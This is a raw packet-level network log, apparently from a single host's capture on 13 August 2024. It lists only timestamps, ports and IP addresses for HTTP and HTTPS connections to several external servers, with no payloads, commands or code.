Aug 13, 2024 20:24:37.924891949 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.924907923 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.924935102 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.924942970 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.924952984 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.924978018 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.924995899 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925012112 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925025940 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925046921 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925072908 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925080061 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925096989 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925117016 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925131083 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925152063 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925167084 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925192118 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925225019 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925251007 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925259113 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925275087 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925292015 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925308943 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925324917 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925358057 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925384998 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925393105 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925405025 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925426960 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925452948 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925462008 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925488949 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925496101 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925507069 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925532103 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.925549984 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.925586939 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.975030899 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.009838104 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.009908915 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.009944916 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.009978056 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.009989023 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.009989977 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010014057 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010026932 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010061026 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010067940 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010102987 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010133982 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010138035 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010154009 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010176897 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010210991 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010227919 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010245085 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010262012 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010277987 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010302067 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010314941 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010318995 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010364056 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010373116 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010397911 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010426044 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010435104 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010446072 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010468960 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010494947 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010510921 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010518074 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010545015 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010556936 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010596037 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010629892 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010634899 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010664940 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010682106 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010682106 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010699034 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010731936 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010750055 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010766029 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010792971 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010802031 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010813951 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010835886 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010854006 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010869980 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010896921 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010905027 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010920048 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010955095 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.010956049 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.010991096 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011008978 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011024952 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011039019 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011059999 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011074066 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011095047 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011109114 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011128902 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011157990 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011167049 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011185884 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011202097 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011218071 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011239052 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011253119 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011274099 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011301041 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011306047 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011322021 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011341095 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011351109 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011378050 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011404037 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011411905 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011436939 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011446953 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011456013 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011480093 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011506081 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011514902 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011532068 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011548996 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011573076 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011580944 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011595964 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011615038 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011631012 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011648893 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011673927 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011682987 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011708975 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011715889 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011729002 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011750937 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011759996 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011784077 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011806011 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011806965 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011821032 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011837006 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011842966 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011852980 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011868954 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011871099 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011871099 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011887074 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011904001 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011912107 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011912107 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011920929 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011933088 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011939049 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011954069 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011959076 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011970997 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011977911 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.011987925 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.011993885 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.012003899 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:38.012013912 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.012053013 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:38.012053013 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:42.328633070 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:42.328691006 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:45.800218105 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:45.808054924 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:45.808146954 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:45.808808088 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:45.813936949 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:46.440718889 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:46.618900061 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:46.618990898 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:47.210365057 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:47.216037035 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:47.409513950 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:47.619086981 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:47.619338036 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:48.557241917 CEST	49167	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:48.557286978 CEST	443	49167	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:48.557353973 CEST	49167	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:48.628830910 CEST	49167	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:48.628859997 CEST	443	49167	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:49.117494106 CEST	443	49167	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:49.117598057 CEST	49167	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:49.255522966 CEST	49167	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:49.255556107 CEST	443	49167	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:49.256740093 CEST	443	49167	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:49.464534998 CEST	443	49167	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:49.464616060 CEST	49167	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:49.508985996 CEST	49167	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:49.556540966 CEST	443	49167	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:49.622217894 CEST	443	49167	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:49.622438908 CEST	443	49167	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:49.622488976 CEST	49167	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:49.624316931 CEST	49167	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:49.747220039 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:49.753127098 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:49.919338942 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:49.924511909 CEST	49168	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:49.924552917 CEST	443	49168	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:49.924740076 CEST	49168	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:49.925230026 CEST	49168	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:49.925240993 CEST	443	49168	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:50.130877972 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:50.130990982 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:50.424412012 CEST	443	49168	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:50.430911064 CEST	49168	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:50.430927992 CEST	443	49168	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:50.568281889 CEST	443	49168	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:50.568512917 CEST	443	49168	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:50.568577051 CEST	49168	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:50.569104910 CEST	49168	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:51.542267084 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:51.547837973 CEST	80	49166	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:51.547918081 CEST	49166	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:51.598947048 CEST	49169	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:51.603856087 CEST	80	49169	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:51.603909969 CEST	49169	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:51.603991032 CEST	49169	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:51.608776093 CEST	80	49169	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:52.089013100 CEST	80	49169	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:52.143606901 CEST	49170	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:52.143640995 CEST	443	49170	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:52.143728018 CEST	49170	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:52.144175053 CEST	49170	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:52.144187927 CEST	443	49170	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:52.301074028 CEST	80	49169	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:52.301141024 CEST	49169	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:52.626002073 CEST	443	49170	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:52.631345034 CEST	49170	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:52.631366968 CEST	443	49170	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:52.769432068 CEST	443	49170	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:52.769661903 CEST	443	49170	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:52.769730091 CEST	49170	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:52.770478010 CEST	49170	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:52.855151892 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:52.911138058 CEST	49169	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:52.917426109 CEST	80	49169	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:52.919186115 CEST	49169	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:52.996494055 CEST	49171	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:53.001372099 CEST	80	49171	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:53.001429081 CEST	49171	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:53.001559019 CEST	49171	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:53.006453037 CEST	80	49171	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:53.459078074 CEST	80	49171	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:53.541646957 CEST	49172	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:53.541718960 CEST	443	49172	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:53.541790009 CEST	49172	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:53.542165041 CEST	49172	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:53.542191982 CEST	443	49172	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:53.666979074 CEST	80	49171	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:53.667052031 CEST	49171	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:54.036317110 CEST	443	49172	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:54.040189981 CEST	49172	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:54.040241003 CEST	443	49172	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:54.190181971 CEST	443	49172	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:54.190411091 CEST	443	49172	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:54.190483093 CEST	49172	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:54.192145109 CEST	49172	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:54.281447887 CEST	49171	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:54.287590981 CEST	80	49171	193.122.130.0	192.168.2.22
Aug 13, 2024 20:24:54.287662983 CEST	49171	80	192.168.2.22	193.122.130.0
Aug 13, 2024 20:24:54.358663082 CEST	49173	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:54.363563061 CEST	80	49173	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:54.363631964 CEST	49173	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:54.363729954 CEST	49173	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:54.368583918 CEST	80	49173	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:54.947009087 CEST	80	49173	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:55.151087999 CEST	80	49173	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:55.151171923 CEST	49173	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:55.221224070 CEST	49174	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:55.221273899 CEST	443	49174	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:55.221395016 CEST	49174	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:55.221746922 CEST	49174	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:55.221764088 CEST	443	49174	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:55.685615063 CEST	443	49174	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:55.689291954 CEST	49174	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:55.689353943 CEST	443	49174	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:55.836920023 CEST	443	49174	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:55.837112904 CEST	443	49174	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:55.837203979 CEST	49174	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:55.838795900 CEST	49174	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:55.921542883 CEST	49173	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:55.928517103 CEST	80	49173	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:55.929225922 CEST	49173	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:56.301649094 CEST	49175	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:24:56.312304020 CEST	80	49175	193.122.6.168	192.168.2.22
Aug 13, 2024 20:24:56.312372923 CEST	49175	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:24:56.312563896 CEST	49175	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:24:56.323220015 CEST	80	49175	193.122.6.168	192.168.2.22
Aug 13, 2024 20:24:56.965333939 CEST	80	49175	193.122.6.168	192.168.2.22
Aug 13, 2024 20:24:57.162848949 CEST	49176	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:57.162945032 CEST	443	49176	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:57.163012981 CEST	49176	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:57.163527966 CEST	49176	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:57.163559914 CEST	443	49176	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:57.178963900 CEST	80	49175	193.122.6.168	192.168.2.22
Aug 13, 2024 20:24:57.178970098 CEST	49175	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:24:57.179049015 CEST	49175	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:24:57.673111916 CEST	443	49176	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:57.743839979 CEST	49176	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:57.743881941 CEST	443	49176	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:57.861799002 CEST	443	49176	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:57.862052917 CEST	443	49176	188.114.96.3	192.168.2.22
Aug 13, 2024 20:24:57.862150908 CEST	49176	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:57.876446962 CEST	49176	443	192.168.2.22	188.114.96.3
Aug 13, 2024 20:24:58.462215900 CEST	49175	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:24:58.468051910 CEST	80	49175	193.122.6.168	192.168.2.22
Aug 13, 2024 20:24:58.468142033 CEST	49175	80	192.168.2.22	193.122.6.168
Aug 13, 2024 20:24:58.489569902 CEST	49177	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:24:58.499897003 CEST	80	49177	132.226.247.73	192.168.2.22
Aug 13, 2024 20:24:58.499978065 CEST	49177	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:24:58.500109911 CEST	49177	80	192.168.2.22	132.226.247.73
Aug 13, 2024 20:24:58.505242109 CEST	80	49177	132.226.247.73	192.168.2.22
Aug 13, 2024 20:24:58.643680096 CEST	49178	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:58.649075985 CEST	80	49178	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:58.649137974 CEST	49178	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:58.649527073 CEST	49178	80	192.168.2.22	158.101.44.242
Aug 13, 2024 20:24:58.654397011 CEST	80	49178	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:59.179740906 CEST	80	49177	132.226.247.73	192.168.2.22
Aug 13, 2024 20:24:59.210148096 CEST	49179	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:59.210227013 CEST	443	49179	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:59.210288048 CEST	49179	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:59.210804939 CEST	49179	443	192.168.2.22	188.114.97.3
Aug 13, 2024 20:24:59.210839987 CEST	443	49179	188.114.97.3	192.168.2.22
Aug 13, 2024 20:24:59.379631042 CEST	80	49178	158.101.44.242	192.168.2.22
Aug 13, 2024 20:24:59.390779018 CEST	49177	80	192.168.2.22	132.226.247.73
